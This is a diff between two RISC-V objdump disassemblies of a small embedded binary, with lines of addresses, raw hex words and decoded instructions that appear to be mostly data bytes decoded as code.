-     b30:	5305                	li	t1,-31
-     b32:	000092d7          	0x92d7
-     b36:	e005                	bnez	s0,b56 <__stack_size+0x356>
-     b38:	da01                	beqz	a2,a48 <__stack_size+0x248>
-     b3a:	0056                	c.slli	zero,0x15
-     b3c:	0600                	addi	s0,sp,768
-     b3e:	01e6                	slli	gp,gp,0x19
-     b40:	6c15                	lui	s8,0x5
+     b1e:	0400                	addi	s0,sp,512
+     b20:	0000                	unimp
+     b22:	5305                	li	t1,-31
+     b24:	00009373          	csrrw	t1,ustatus,ra
+     b28:	e005                	bnez	s0,b48 <__stack_size+0x348>
+     b2a:	1701                	addi	a4,a4,-32
+     b2c:	0058                	addi	a4,sp,4
+     b2e:	0600                	addi	s0,sp,768
+     b30:	01e6                	slli	gp,gp,0x19
+     b32:	00006cb3          	or	s9,zero,zero
+     b36:	ea05                	bnez	a2,b66 <__stack_size+0x366>
+     b38:	5701                	li	a4,-32
+     b3a:	05000033          	0x5000033
+     b3e:	01fa                	slli	gp,gp,0x1e
+     b40:	62b8                	flw	fa4,64(a3)
      b42:	0000                	unimp
-     b44:	ea05                	bnez	a2,b74 <__stack_size+0x374>
-     b46:	5401                	li	s0,-32
-     b48:	0032                	c.slli	zero,0xc
+     b44:	fe05                	bnez	a2,a7c <__stack_size+0x27c>
+     b46:	7001                	c.lui	zero,0xfffe0
+     b48:	0090                	addi	a2,sp,64
      b4a:	0500                	addi	s0,sp,640
-     b4c:	01fa                	slli	gp,gp,0x1e
-     b4e:	000061bb          	0x61bb
-     b52:	fe05                	bnez	a2,a8a <__stack_size+0x28a>
-     b54:	b601                	j	654 <__stack_size-0x1ac>
-     b56:	0500008f          	0x500008f
-     b5a:	0608028b          	0x608028b
-     b5e:	0000                	unimp
-     b60:	0400                	addi	s0,sp,512
-     b62:	0000                	unimp
-     b64:	1f05                	addi	t5,t5,-31
-     b66:	1f26                	slli	t5,t5,0x29
-     b68:	0000                	unimp
-     b6a:	2005                	jal	b8a <__stack_size+0x38a>
-     b6c:	0000472f          	0x472f
-     b70:	2105                	jal	f90 <__stack_size+0x790>
-     b72:	81f0                	0x81f0
-     b74:	0000                	unimp
-     b76:	2505                	jal	1196 <__stack_size+0x996>
-     b78:	9189                	srli	a1,a1,0x22
-     b7a:	0000                	unimp
-     b7c:	2b05                	jal	10ac <__stack_size+0x8ac>
-     b7e:	00007b03          	0x7b03
-     b82:	4505                	li	a0,1
-     b84:	0000805b          	0x805b
-     b88:	4905                	li	s2,1
-     b8a:	00000f0f          	0xf0f
-     b8e:	4a05                	li	s4,1
-     b90:	0000914f          	fnmadd.s	ft2,ft1,ft0,ft0,rtz
-     b94:	0400                	addi	s0,sp,512
-     b96:	0000                	unimp
-     b98:	0605                	addi	a2,a2,1
-     b9a:	7134                	flw	fa3,96(a0)
-     b9c:	0000                	unimp
-     b9e:	0f05                	addi	t5,t5,1
-     ba0:	1c8e                	slli	s9,s9,0x23
-     ba2:	0000                	unimp
-     ba4:	1a05                	addi	s4,s4,-31
-     ba6:	0442                	slli	s0,s0,0x10
-     ba8:	0000                	unimp
-     baa:	2105                	jal	fca <__stack_size+0x7ca>
-     bac:	000084d3          	fadd.s	fs1,ft1,ft0,rne
-     bb0:	2f05                	jal	12e0 <__stack_size+0xae0>
-     bb2:	6f74                	flw	fa3,92(a4)
-     bb4:	0000                	unimp
-     bb6:	3d05                	jal	9e6 <__stack_size+0x1e6>
-     bb8:	0000301b          	0x301b
-     bbc:	5305                	li	t1,-31
-     bbe:	8fc0                	0x8fc0
-     bc0:	0000                	unimp
-     bc2:	6d05                	lui	s10,0x1
-     bc4:	364c                	fld	fa1,168(a2)
-     bc6:	0000                	unimp
-     bc8:	8c05                	sub	s0,s0,s1
-     bca:	ff01                	bnez	a4,ae2 <__stack_size+0x2e2>
-     bcc:	05000067          	jr	80(zero) # 0 <__stack_size-0x800>
-     bd0:	01a6                	slli	gp,gp,0x9
-     bd2:	4d8a                	lw	s11,128(sp)
-     bd4:	0000                	unimp
-     bd6:	bc05                	j	606 <__stack_size-0x1fa>
-     bd8:	fa01                	bnez	a2,ae8 <__stack_size+0x2e8>
-     bda:	0008                	0x8
-     bdc:	0500                	addi	s0,sp,640
-     bde:	01ce                	slli	gp,gp,0x13
-     be0:	53dc                	lw	a5,36(a5)
-     be2:	0000                	unimp
-     be4:	f406                	fsw	ft1,40(sp)
-     be6:	8101                	c.srli64	a0
-     be8:	0016                	c.slli	zero,0x5
-     bea:	0000                	unimp
-     bec:	0004                	0x4
-     bee:	0500                	addi	s0,sp,640
-     bf0:	005c3827          	fsd	ft5,16(s8) # 5010 <__stack_size+0x4810>
-     bf4:	0500                	addi	s0,sp,640
-     bf6:	ce28                	sw	a0,88(a2)
-     bf8:	007f                	0x7f
-     bfa:	0500                	addi	s0,sp,640
-     bfc:	332a                	fld	ft6,168(sp)
-     bfe:	005c                	addi	a5,sp,4
+     b4c:	057e028b          	0x57e028b
+     b50:	0000                	unimp
+     b52:	0400                	addi	s0,sp,512
+     b54:	0000                	unimp
+     b56:	1f05                	addi	t5,t5,-31
+     b58:	1f5c                	addi	a5,sp,948
+     b5a:	0000                	unimp
+     b5c:	2005                	jal	b7c <__stack_size+0x37c>
+     b5e:	484c                	lw	a1,20(s0)
+     b60:	0000                	unimp
+     b62:	2105                	jal	f82 <__stack_size+0x782>
+     b64:	00008273          	0x8273
+     b68:	2505                	jal	1188 <__stack_size+0x988>
+     b6a:	9226                	add	tp,tp,s1
+     b6c:	0000                	unimp
+     b6e:	2b05                	jal	109e <__stack_size+0x89e>
+     b70:	7b7c                	flw	fa5,116(a4)
+     b72:	0000                	unimp
+     b74:	4505                	li	a0,1
+     b76:	80de                	mv	ra,s7
+     b78:	0000                	unimp
+     b7a:	4905                	li	s2,1
+     b7c:	00000ec7          	fmsub.s	ft9,ft0,ft0,ft0,rne
+     b80:	4a05                	li	s4,1
+     b82:	9204                	0x9204
+     b84:	0000                	unimp
+     b86:	0400                	addi	s0,sp,512
+     b88:	0000                	unimp
+     b8a:	0605                	addi	a2,a2,1
+     b8c:	71b5                	lui	gp,0xfffed
+     b8e:	0000                	unimp
+     b90:	0f05                	addi	t5,t5,1
+     b92:	1bbc                	addi	a5,sp,504
+     b94:	0000                	unimp
+     b96:	1a05                	addi	s4,s4,-31
+     b98:	03d2                	slli	t2,t2,0x14
+     b9a:	0000                	unimp
+     b9c:	2105                	jal	fbc <__stack_size+0x7bc>
+     b9e:	0000854f          	fnmadd.s	fa0,ft1,ft0,ft0,rne
+     ba2:	2f05                	jal	12d2 <__stack_size+0xad2>
+     ba4:	700d                	c.lui	zero,0xfffe3
+     ba6:	0000                	unimp
+     ba8:	3d05                	jal	9d8 <__stack_size+0x1d8>
+     baa:	0000310f          	0x310f
+     bae:	5305                	li	t1,-31
+     bb0:	907a                	c.add	zero,t5
+     bb2:	0000                	unimp
+     bb4:	6d05                	lui	s10,0x1
+     bb6:	5bae                	lw	s7,232(sp)
+     bb8:	0000                	unimp
+     bba:	8c05                	sub	s0,s0,s1
+     bbc:	bc01                	j	5cc <__stack_size-0x234>
+     bbe:	0068                	addi	a0,sp,12
+     bc0:	0500                	addi	s0,sp,640
+     bc2:	01a6                	slli	gp,gp,0x9
+     bc4:	00004e87          	flq	ft9,0(zero) # 0 <__stack_size-0x800>
+     bc8:	bc05                	j	5f8 <__stack_size-0x208>
+     bca:	a601                	j	eca <__stack_size+0x6ca>
+     bcc:	0008                	0x8
+     bce:	0500                	addi	s0,sp,640
+     bd0:	01ce                	slli	gp,gp,0x13
+     bd2:	000056c7          	fmsub.s	fa3,ft0,ft0,ft0,unknown
+     bd6:	f406                	fsw	ft1,40(sp)
+     bd8:	d001                	beqz	s0,ad8 <__stack_size+0x2d8>
+     bda:	0015                	c.nop	5
+     bdc:	0000                	unimp
+     bde:	0004                	0x4
+     be0:	0500                	addi	s0,sp,640
+     be2:	005d4227          	fsq	ft5,4(s10) # 1004 <__stack_size+0x804>
+     be6:	0500                	addi	s0,sp,640
+     be8:	5128                	lw	a0,96(a0)
+     bea:	0080                	addi	s0,sp,64
+     bec:	0500                	addi	s0,sp,640
+     bee:	3d2a                	fld	fs10,168(sp)
+     bf0:	005d                	c.nop	23
+     bf2:	0500                	addi	s0,sp,640
+     bf4:	21e10183          	lb	gp,542(sp)
+     bf8:	0000                	unimp
+     bfa:	8405                	srai	s0,s0,0x1
+     bfc:	ef01                	bnez	a4,c14 <__stack_size+0x414>
+     bfe:	000a                	c.slli	zero,0x2
      c00:	0500                	addi	s0,sp,640
-     c02:	21590183          	lb	gp,533(s2)
+     c02:	0185                	addi	gp,gp,1
+     c04:	73c1                	lui	t2,0xffff0
      c06:	0000                	unimp
-     c08:	8405                	srai	s0,s0,0x1
-     c0a:	6701                	0x6701
-     c0c:	0500000b          	0x500000b
-     c10:	0185                	addi	gp,gp,1
-     c12:	7326                	flw	ft6,104(sp)
+     c08:	8605                	srai	a2,a2,0x1
+     c0a:	e101                	bnez	a0,c0a <__stack_size+0x40a>
+     c0c:	05000063          	beq	zero,a6,c4c <__stack_size+0x44c>
+     c10:	83b20187          	0x83b20187
      c14:	0000                	unimp
-     c16:	8605                	srai	a2,a2,0x1
-     c18:	2001                	jal	c18 <__stack_size+0x418>
-     c1a:	05000063          	beq	zero,a6,c5a <__stack_size+0x45a>
-     c1e:	832c0187          	0x832c0187
+     c16:	8805                	andi	s0,s0,1
+     c18:	ae01                	j	f28 <__stack_size+0x728>
+     c1a:	05000083          	lb	ra,80(zero) # 50 <__stack_size-0x7b0>
+     c1e:	0189                	addi	gp,gp,2
+     c20:	9166                	add	sp,sp,s9
      c22:	0000                	unimp
-     c24:	8805                	andi	s0,s0,1
-     c26:	2801                	jal	c36 <__stack_size+0x436>
-     c28:	05000083          	lb	ra,80(zero) # 50 <__stack_size-0x7b0>
-     c2c:	0189                	addi	gp,gp,2
-     c2e:	90a1                	srli	s1,s1,0x28
+     c24:	8a05                	andi	a2,a2,1
+     c26:	dd01                	beqz	a0,b3e <__stack_size+0x33e>
+     c28:	0021                	c.nop	8
+     c2a:	0500                	addi	s0,sp,640
+     c2c:	273a018b          	0x273a018b
      c30:	0000                	unimp
-     c32:	8a05                	andi	a2,a2,1
-     c34:	5501                	li	a0,-32
-     c36:	0021                	c.nop	8
+     c32:	9b06                	add	s6,s6,ra
+     c34:	8701                	c.srai64	a4
+     c36:	0060                	addi	s0,sp,12
      c38:	0500                	addi	s0,sp,640
-     c3a:	2676018b          	0x2676018b
+     c3a:	01b5                	addi	gp,gp,13
+     c3c:	56e2                	lw	a3,56(sp)
      c3e:	0000                	unimp
-     c40:	9b06                	add	s6,s6,ra
-     c42:	7b01                	lui	s6,0xfffe0
-     c44:	005f 0500 01b5      	0x1b50500005f
-     c4a:	55b4                	lw	a3,104(a1)
+     c40:	b605                	j	760 <__stack_size-0xa0>
+     c42:	9601                	srai	a2,a2,0x20
+     c44:	009a                	slli	ra,ra,0x6
+     c46:	0500                	addi	s0,sp,640
+     c48:	4bc601b7          	lui	gp,0x4bc60
      c4c:	0000                	unimp
-     c4e:	b605                	j	76e <__stack_size-0x92>
-     c50:	e801                	bnez	s0,c60 <__stack_size+0x460>
-     c52:	0099                	addi	ra,ra,6
-     c54:	0500                	addi	s0,sp,640
-     c56:	4a7f01b7          	lui	gp,0x4a7f0
+     c4e:	b805                	j	47e <__stack_size-0x382>
+     c50:	6001                	0x6001
+     c52:	0500004f          	0x500004f
+     c56:	01b9                	addi	gp,gp,14
+     c58:	16bd                	addi	a3,a3,-17
      c5a:	0000                	unimp
-     c5c:	b805                	j	48c <__stack_size-0x374>
-     c5e:	6301                	0x6301
-     c60:	004e                	c.slli	zero,0x13
-     c62:	0500                	addi	s0,sp,640
-     c64:	01b9                	addi	gp,gp,14
-     c66:	176e                	slli	a4,a4,0x3b
+     c5c:	ba05                	j	58c <__stack_size-0x274>
+     c5e:	d401                	beqz	s0,b66 <__stack_size+0x366>
+     c60:	05000067          	jr	80(zero) # 0 <__stack_size-0x800>
+     c64:	65b301bb          	0x65b301bb
      c68:	0000                	unimp
-     c6a:	ba05                	j	59a <__stack_size-0x266>
-     c6c:	6401                	0x6401
-     c6e:	05000067          	jr	80(zero) # 0 <__stack_size-0x800>
-     c72:	64fa01bb          	0x64fa01bb
+     c6a:	bc05                	j	69a <__stack_size-0x166>
+     c6c:	a801                	j	c7c <__stack_size+0x47c>
+     c6e:	005a                	c.slli	zero,0x16
+     c70:	0500                	addi	s0,sp,640
+     c72:	01bd                	addi	gp,gp,15
+     c74:	5aa4                	lw	s1,112(a3)
      c76:	0000                	unimp
-     c78:	bc05                	j	6a8 <__stack_size-0x158>
-     c7a:	4d01                	li	s10,0
-     c7c:	0059                	c.nop	22
+     c78:	be05                	j	7a8 <__stack_size-0x58>
+     c7a:	d901                	beqz	a0,b8a <__stack_size+0x38a>
+     c7c:	0010                	0x10
      c7e:	0500                	addi	s0,sp,640
-     c80:	01bd                	addi	gp,gp,15
-     c82:	5949                	li	s2,-14
-     c84:	0000                	unimp
-     c86:	be05                	j	7b6 <__stack_size-0x4a>
-     c88:	4501                	li	a0,0
-     c8a:	0011                	c.nop	4
+     c80:	6e9401bf c0050000 	0xc00500006e9401bf
+     c88:	d501                	beqz	a0,b90 <__stack_size+0x390>
+     c8a:	0010                	0x10
      c8c:	0500                	addi	s0,sp,640
-     c8e:	6dfb01bf c0050000 	0xc00500006dfb01bf
-     c96:	4101                	li	sp,0
-     c98:	0011                	c.nop	4
+     c8e:	01c1                	addi	gp,gp,16
+     c90:	1eea                	slli	t4,t4,0x3a
+     c92:	0000                	unimp
+     c94:	c205                	beqz	a2,cb4 <__stack_size+0x4b4>
+     c96:	df01                	beqz	a4,bae <__stack_size+0x3ae>
+     c98:	0038                	addi	a4,sp,8
      c9a:	0500                	addi	s0,sp,640
-     c9c:	01c1                	addi	gp,gp,16
-     c9e:	1eb4                	addi	a3,sp,888
+     c9c:	4bc201c3          	fmadd.d	ft3,ft4,ft8,fs1,rne
      ca0:	0000                	unimp
-     ca2:	c205                	beqz	a2,cc2 <__stack_size+0x4c2>
-     ca4:	fc01                	bnez	s0,bbc <__stack_size+0x3bc>
-     ca6:	05000037          	lui	zero,0x5000
-     caa:	4a7b01c3          	fmadd.d	ft3,fs6,ft7,fs1,rne
+     ca2:	c405                	beqz	s0,cca <__stack_size+0x4ca>
+     ca4:	4301                	li	t1,0
+     ca6:	007f                	0x7f
+     ca8:	0500                	addi	s0,sp,640
+     caa:	23be01cb          	fnmsub.d	ft3,ft8,fs11,ft4,rne
      cae:	0000                	unimp
-     cb0:	c405                	beqz	s0,cd8 <__stack_size+0x4d8>
-     cb2:	c001                	beqz	s0,cb2 <__stack_size+0x4b2>
-     cb4:	007e                	c.slli	zero,0x1f
+     cb0:	e706                	fsw	ft1,140(sp)
+     cb2:	1001                	c.nop	-32
+     cb4:	003d                	c.nop	15
      cb6:	0500                	addi	s0,sp,640
-     cb8:	230d01cb          	fnmsub.d	ft3,fs10,fa6,ft4,rne
+     cb8:	0284                	addi	s1,sp,320
+     cba:	48b4                	lw	a3,80(s1)
      cbc:	0000                	unimp
-     cbe:	e706                	fsw	ft1,140(sp)
-     cc0:	0301                	addi	t1,t1,0
-     cc2:	003c                	addi	a5,sp,8
-     cc4:	0500                	addi	s0,sp,640
-     cc6:	0284                	addi	s1,sp,320
-     cc8:	00000d63          	beqz	zero,ce2 <__stack_size+0x4e2>
-     ccc:	8505                	srai	a0,a0,0x1
-     cce:	e402                	fsw	ft0,8(sp)
-     cd0:	05000007          	0x5000007
-     cd4:	0286                	slli	t0,t0,0x1
-     cd6:	00003a6b          	0x3a6b
-     cda:	8705                	srai	a4,a4,0x1
-     cdc:	6e02                	flw	ft8,0(sp)
-     cde:	0069                	c.nop	26
-     ce0:	0500                	addi	s0,sp,640
-     ce2:	0288                	addi	a0,sp,320
-     ce4:	7e7a                	flw	ft8,188(sp)
+     cbe:	8505                	srai	a0,a0,0x1
+     cc0:	9a02                	jalr	s4
+     cc2:	05000007          	0x5000007
+     cc6:	0286                	slli	t0,t0,0x1
+     cc8:	3b81                	jal	a18 <__stack_size+0x218>
+     cca:	0000                	unimp
+     ccc:	8705                	srai	a4,a4,0x1
+     cce:	1b02                	slli	s6,s6,0x20
+     cd0:	006a                	c.slli	zero,0x1a
+     cd2:	0500                	addi	s0,sp,640
+     cd4:	0288                	addi	a0,sp,320
+     cd6:	7efd                	lui	t4,0xfffff
+     cd8:	0000                	unimp
+     cda:	8905                	andi	a0,a0,1
+     cdc:	bf02                	fsd	ft0,440(sp)
+     cde:	05000083          	lb	ra,80(zero) # 50 <__stack_size-0x7b0>
+     ce2:	028a                	slli	t0,t0,0x2
+     ce4:	4202                	lw	tp,0(sp)
      ce6:	0000                	unimp
-     ce8:	8905                	andi	a0,a0,1
-     cea:	3902                	fld	fs2,32(sp)
-     cec:	05000083          	lb	ra,80(zero) # 50 <__stack_size-0x7b0>
-     cf0:	028a                	slli	t0,t0,0x2
-     cf2:	000040f7          	0x40f7
-     cf6:	8b05                	andi	a4,a4,1
-     cf8:	f302                	fsw	ft0,164(sp)
-     cfa:	0040                	addi	s0,sp,4
+     ce8:	8b05                	andi	a4,a4,1
+     cea:	fe02                	fsw	ft0,60(sp)
+     cec:	0041                	c.nop	16
+     cee:	0500                	addi	s0,sp,640
+     cf0:	028c                	addi	a1,sp,320
+     cf2:	00003b8b          	0x3b8b
+     cf6:	8d05                	sub	a0,a0,s1
+     cf8:	a902                	fsd	ft0,144(sp)
+     cfa:	0001                	nop
      cfc:	0500                	addi	s0,sp,640
-     cfe:	028c                	addi	a1,sp,320
-     d00:	3a75                	jal	6bc <__stack_size-0x144>
+     cfe:	028e                	slli	t0,t0,0x3
+     d00:	2359                	jal	1286 <__stack_size+0xa86>
      d02:	0000                	unimp
-     d04:	8d05                	sub	a0,a0,s1
-     d06:	d402                	sw	zero,40(sp)
-     d08:	0001                	nop
+     d04:	8f05                	sub	a4,a4,s1
+     d06:	9f02                	jalr	t5
+     d08:	0012                	c.slli	zero,0x4
      d0a:	0500                	addi	s0,sp,640
-     d0c:	028e                	slli	t0,t0,0x3
-     d0e:	22a8                	fld	fa0,64(a3)
+     d0c:	0290                	addi	a2,sp,320
+     d0e:	2354                	fld	fa3,128(a4)
      d10:	0000                	unimp
-     d12:	8f05                	sub	a4,a4,s1
-     d14:	2d02                	fld	fs10,0(sp)
-     d16:	05000013          	li	zero,80
-     d1a:	0290                	addi	a2,sp,320
-     d1c:	000022a3          	sw	zero,5(zero) # 5 <__stack_size-0x7fb>
-     d20:	9105                	srli	a0,a0,0x21
-     d22:	6702                	flw	fa4,0(sp)
-     d24:	003a                	c.slli	zero,0xe
-     d26:	0500                	addi	s0,sp,640
-     d28:	0292                	slli	t0,t0,0x4
-     d2a:	47e4                	lw	s1,76(a5)
+     d12:	9105                	srli	a0,a0,0x21
+     d14:	7d02                	flw	fs10,32(sp)
+     d16:	0500003b          	0x500003b
+     d1a:	0292                	slli	t0,t0,0x4
+     d1c:	4901                	li	s2,0
+     d1e:	0000                	unimp
+     d20:	9f06                	add	t5,t5,ra
+     d22:	9302                	jalr	t1
+     d24:	003c                	addi	a5,sp,8
+     d26:	0600                	addi	s0,sp,768
+     d28:	02d4                	addi	a3,sp,324
+     d2a:	738a                	flw	ft7,160(sp)
      d2c:	0000                	unimp
-     d2e:	9f06                	add	t5,t5,ra
-     d30:	8602                	jr	a2
-     d32:	0600003b          	0x600003b
-     d36:	02d4                	addi	a3,sp,324
-     d38:	000072ef          	jal	t0,7d38 <__stack_size+0x7538>
-     d3c:	8606                	mv	a2,ra
-     d3e:	00513803          	0x513803
+     d2e:	8606                	mv	a2,ra
+     d30:	00527a03          	0x527a03
+     d34:	0500                	addi	s0,sp,640
+     d36:	7135038b          	0x7135038b
+     d3a:	0000                	unimp
+     d3c:	9106                	add	sp,sp,ra
+     d3e:	00527303          	0x527303
      d42:	0500                	addi	s0,sp,640
-     d44:	70b4038b          	0x70b4038b
+     d44:	0396                	slli	t2,t2,0x5
+     d46:	527f                	0x527f
      d48:	0000                	unimp
-     d4a:	9106                	add	sp,sp,ra
-     d4c:	00513103          	0x513103
-     d50:	0500                	addi	s0,sp,640
-     d52:	0396                	slli	t2,t2,0x5
-     d54:	513d                	li	sp,-17
-     d56:	0000                	unimp
-     d58:	9b05                	andi	a4,a4,-31
-     d5a:	00995603          	lhu	a2,9(s2)
-     d5e:	0000                	unimp
-     d60:	0004                	0x4
-     d62:	0500                	addi	s0,sp,640
-     d64:	c531                	beqz	a0,db0 <__stack_size+0x5b0>
-     d66:	0061                	c.nop	24
-     d68:	0500                	addi	s0,sp,640
-     d6a:	9f32                	add	t5,t5,a2
-     d6c:	005f 0500 0b33      	0xb330500005f
-     d72:	009d                	addi	ra,ra,7
-     d74:	0500                	addi	s0,sp,640
-     d76:	4336                	lw	t1,76(sp)
-     d78:	004d                	c.nop	19
-     d7a:	0500                	addi	s0,sp,640
-     d7c:	ec39                	bnez	s0,dda <__stack_size+0x5da>
-     d7e:	005e                	c.slli	zero,0x17
-     d80:	0500                	addi	s0,sp,640
-     d82:	0d3a                	slli	s10,s10,0xe
-     d84:	001d                	c.nop	7
-     d86:	0500                	addi	s0,sp,640
-     d88:	9e3c                	0x9e3c
-     d8a:	001e                	c.slli	zero,0x7
-     d8c:	0500                	addi	s0,sp,640
-     d8e:	303d                	jal	5bc <__stack_size-0x244>
-     d90:	0042                	c.slli	zero,0x10
-     d92:	0500                	addi	s0,sp,640
-     d94:	3d3e                	fld	fs10,488(sp)
-     d96:	0084                	addi	s1,sp,64
-     d98:	0500                	addi	s0,sp,640
-     d9a:	0025843f 9c420500 	0x9c4205000025843f
-     da2:	002c                	addi	a1,sp,8
-     da4:	0500                	addi	s0,sp,640
-     da6:	000c1043          	fmadd.s	ft0,fs8,ft0,ft0,rtz
-     daa:	0500                	addi	s0,sp,640
-     dac:	5c44                	lw	s1,60(s0)
-     dae:	05000043          	0x5000043
-     db2:	1d4e                	slli	s10,s10,0x33
-     db4:	005d                	c.nop	23
-     db6:	0500                	addi	s0,sp,640
-     db8:	cf51                	beqz	a4,e54 <__stack_size+0x654>
-     dba:	001d                	c.nop	7
-     dbc:	0500                	addi	s0,sp,640
-     dbe:	2b5e                	fld	fs6,464(sp)
-     dc0:	0086                	slli	ra,ra,0x1
-     dc2:	0500                	addi	s0,sp,640
-     dc4:	cf5f 0053 0500      	0x5000053cf5f
-     dca:	0022496b          	0x22496b
-     dce:	0500                	addi	s0,sp,640
-     dd0:	df6c                	sw	a1,124(a4)
-     dd2:	0098                	addi	a4,sp,64
-     dd4:	0500                	addi	s0,sp,640
-     dd6:	1d70                	addi	a2,sp,700
-     dd8:	05000007          	0x5000007
-     ddc:	7a71                	lui	s4,0xffffc
-     dde:	0024                	addi	s1,sp,8
-     de0:	0500                	addi	s0,sp,640
-     de2:	e472                	fsw	ft8,8(sp)
-     de4:	05000043          	0x5000043
-     de8:	6575                	lui	a0,0x1d
-     dea:	0050                	addi	a2,sp,4
-     dec:	0500                	addi	s0,sp,640
-     dee:	d478                	sw	a4,108(s0)
-     df0:	0004                	0x4
-     df2:	0500                	addi	s0,sp,640
-     df4:	f37f                	0xf37f
-     df6:	004c                	addi	a1,sp,4
+     d4a:	9b05                	andi	a4,a4,-31
+     d4c:	009a0403          	lb	s0,9(s4)
+     d50:	0000                	unimp
+     d52:	0004                	0x4
+     d54:	0500                	addi	s0,sp,640
+     d56:	c231                	beqz	a2,d9a <__stack_size+0x59a>
+     d58:	0062                	c.slli	zero,0x18
+     d5a:	0500                	addi	s0,sp,640
+     d5c:	ab32                	fsd	fa2,400(sp)
+     d5e:	0060                	addi	s0,sp,12
+     d60:	0500                	addi	s0,sp,640
+     d62:	009da233          	slt	tp,s11,s1
+     d66:	0500                	addi	s0,sp,640
+     d68:	4036                	0x4036
+     d6a:	004e                	c.slli	zero,0x13
+     d6c:	0500                	addi	s0,sp,640
+     d6e:	f839                	bnez	s0,cc4 <__stack_size+0x4c4>
+     d70:	005f 0500 3b3a      	0x3b3a0500005f
+     d76:	001c                	0x1c
+     d78:	0500                	addi	s0,sp,640
+     d7a:	d43c                	sw	a5,104(s0)
+     d7c:	001e                	c.slli	zero,0x7
+     d7e:	0500                	addi	s0,sp,640
+     d80:	2f3d                	jal	14be <__stack_size+0xcbe>
+     d82:	05000043          	0x5000043
+     d86:	c33e                	sw	a5,132(sp)
+     d88:	0084                	addi	s1,sp,64
+     d8a:	0500                	addi	s0,sp,640
+     d8c:	00263d3f c2420500 	0xc242050000263d3f
+     d94:	002d                	c.nop	11
+     d96:	0500                	addi	s0,sp,640
+     d98:	000b9843          	fmadd.s	fa6,fs7,ft0,ft0,rtz
+     d9c:	0500                	addi	s0,sp,640
+     d9e:	5b44                	lw	s1,52(a4)
+     da0:	0044                	addi	s1,sp,4
+     da2:	0500                	addi	s0,sp,640
+     da4:	1d4e                	slli	s10,s10,0x33
+     da6:	005e                	c.slli	zero,0x17
+     da8:	0500                	addi	s0,sp,640
+     daa:	f051                	bnez	s0,d2e <__stack_size+0x52e>
+     dac:	001d                	c.nop	7
+     dae:	0500                	addi	s0,sp,640
+     db0:	ce5e                	sw	s7,28(sp)
+     db2:	0086                	slli	ra,ra,0x1
+     db4:	0500                	addi	s0,sp,640
+     db6:	265f 0055 0500      	0x5000055265f
+     dbc:	0022c46b          	0x22c46b
+     dc0:	0500                	addi	s0,sp,640
+     dc2:	826c                	0x826c
+     dc4:	0099                	addi	ra,ra,6
+     dc6:	0500                	addi	s0,sp,640
+     dc8:	dd70                	sw	a2,124(a0)
+     dca:	0006                	c.slli	zero,0x1
+     dcc:	0500                	addi	s0,sp,640
+     dce:	3371                	jal	b5a <__stack_size+0x35a>
+     dd0:	0025                	c.nop	9
+     dd2:	0500                	addi	s0,sp,640
+     dd4:	ec72                	fsw	ft8,24(sp)
+     dd6:	0044                	addi	s1,sp,4
+     dd8:	0500                	addi	s0,sp,640
+     dda:	8d75                	and	a0,a0,a3
+     ddc:	0051                	c.nop	20
+     dde:	0500                	addi	s0,sp,640
+     de0:	5478                	lw	a4,108(s0)
+     de2:	0004                	0x4
+     de4:	0500                	addi	s0,sp,640
+     de6:	067f                	0x67f
+     de8:	004e                	c.slli	zero,0x13
+     dea:	0500                	addi	s0,sp,640
+     dec:	0180                	addi	s0,sp,192
+     dee:	5559                	li	a0,-10
+     df0:	0000                	unimp
+     df2:	8105                	srli	a0,a0,0x1
+     df4:	7501                	lui	a0,0xfffe0
+     df6:	007c                	addi	a5,sp,12
      df8:	0500                	addi	s0,sp,640
-     dfa:	0180                	addi	s0,sp,192
-     dfc:	00005433          	srl	s0,zero,zero
-     e00:	8105                	srli	a0,a0,0x1
-     e02:	0201                	addi	tp,tp,0
-     e04:	007c                	addi	a5,sp,12
+     dfa:	0185                	addi	gp,gp,1
+     dfc:	617c                	flw	fa5,68(a0)
+     dfe:	0000                	unimp
+     e00:	8c05                	sub	s0,s0,s1
+     e02:	5f01                	li	t5,-32
+     e04:	003a                	c.slli	zero,0xe
      e06:	0500                	addi	s0,sp,640
-     e08:	0185                	addi	gp,gp,1
-     e0a:	607f                	0x607f
-     e0c:	0000                	unimp
-     e0e:	8c05                	sub	s0,s0,s1
-     e10:	6c01                	0x6c01
-     e12:	0039                	c.nop	14
+     e08:	0190                	addi	a2,sp,192
+     e0a:	0000374b          	fnmsub.s	fa4,ft0,ft0,ft0,rup
+     e0e:	9105                	srli	a0,a0,0x21
+     e10:	2401                	jal	1010 <__stack_size+0x810>
+     e12:	0031                	c.nop	12
      e14:	0500                	addi	s0,sp,640
-     e16:	0190                	addi	a2,sp,192
-     e18:	367d                	jal	9c6 <__stack_size+0x1c6>
-     e1a:	0000                	unimp
-     e1c:	9105                	srli	a0,a0,0x21
-     e1e:	3001                	jal	61e <__stack_size-0x1e2>
-     e20:	0030                	addi	a2,sp,8
-     e22:	0500                	addi	s0,sp,640
-     e24:	0194                	addi	a3,sp,192
-     e26:	37e0                	fld	fs0,232(a5)
+     e16:	0194                	addi	a3,sp,192
+     e18:	000038c3          	fmadd.s	fa7,ft0,ft0,ft0,rup
+     e1c:	9705                	srai	a4,a4,0x21
+     e1e:	1a01                	addi	s4,s4,-32
+     e20:	0500002b          	0x500002b
+     e24:	0198                	addi	a4,sp,192
+     e26:	1a58                	addi	a4,sp,308
      e28:	0000                	unimp
-     e2a:	9705                	srai	a4,a4,0x21
-     e2c:	4f01                	li	t5,0
-     e2e:	002a                	c.slli	zero,0xa
+     e2a:	9905                	andi	a0,a0,-31
+     e2c:	7d01                	lui	s10,0xfffe0
+     e2e:	0082                	c.slli64	ra
      e30:	0500                	addi	s0,sp,640
-     e32:	0198                	addi	a4,sp,192
-     e34:	1b22                	slli	s6,s6,0x28
+     e32:	83d9019b          	0x83d9019b
      e36:	0000                	unimp
-     e38:	9905                	andi	a0,a0,-31
-     e3a:	fa01                	bnez	a2,d4a <__stack_size+0x54a>
-     e3c:	0081                	addi	ra,ra,0
+     e38:	9c05                	0x9c05
+     e3a:	8f01                	sub	a4,a4,s0
+     e3c:	0090                	addi	a2,sp,64
      e3e:	0500                	addi	s0,sp,640
-     e40:	8353019b          	0x8353019b
+     e40:	019e                	slli	gp,gp,0x7
+     e42:	5d99                	li	s11,-26
      e44:	0000                	unimp
-     e46:	9c05                	0x9c05
-     e48:	c601                	beqz	a2,e50 <__stack_size+0x650>
-     e4a:	0500001b          	0x500001b
-     e4e:	019e                	slli	gp,gp,0x7
-     e50:	5c99                	li	s9,-26
+     e46:	a005                	j	e66 <__stack_size+0x666>
+     e48:	5a01                	li	s4,-32
+     e4a:	008e                	slli	ra,ra,0x3
